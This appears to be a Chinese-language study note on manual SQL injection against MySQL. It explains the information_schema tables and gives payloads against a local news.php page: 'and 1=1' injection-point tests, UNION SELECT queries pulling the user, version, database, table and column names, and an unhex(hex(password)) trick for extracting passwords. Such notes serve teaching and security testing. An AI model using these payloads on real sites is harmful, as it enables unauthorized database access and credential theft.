我们在手工注入时,应该先去判断是什么类型的数据库,再去选择手工注入的方式
简介
mysql5.0以下版本无information_schema元数据库所以注入方式应该和access差不多,在mysql5.0以上的版本,有了information_schema数据库所以不需要去猜测表名和库名,可以直接在information_schema中去调用。
schemata:用于存放所有数据库的名
tables:用于存放所有数据库中数据表的名
columns:用于存放所有数据库中所有表中的字段名
查看a数据库中存放了哪些表
select table_schema(字段) from information_schema.tables(表) where table_schema="a";(字段)
查看b数据表中包含了哪些字段
select column_name (字段)from information_schema.columns(表) where table_name="b";(字段)
理解:其实这两个句子可以和select * from news where id =1做一个对比
注入点判断
开始判断注入点也是 and 1=1 and 1=2
联合查询
这个联合查询有别于access注入时的联合查询 ,union select 1,2,3,4,5,6 后面可以不用表名,access必须要
url:http://127.0.0.1/news.php?id=1 union select 1,2,3,4,5,6 (有时前面的值id=1时页面显示的正常值,我们需要报错才可以id=-1)
http://127.0.0.1/news.php?id=1 union select 1,2,3,4,5,6 在显位符user()当前用户名,version()数据库版本。database()数据库名
http://127.0.0.1/news.php?id=1 union select 1,table_name,3,4,5,6 from information_schema.tables(表) where table_schema="a"
有时候网站会只显示一个,但是表名有多个(group_concat())可以显示字段中的所有内容
当我们联合查询知道了字段名后就不需要调用information_schema这个数据库了直接从表里拿
unhex(hex(password))进行编码的转换(只要内容不要格式)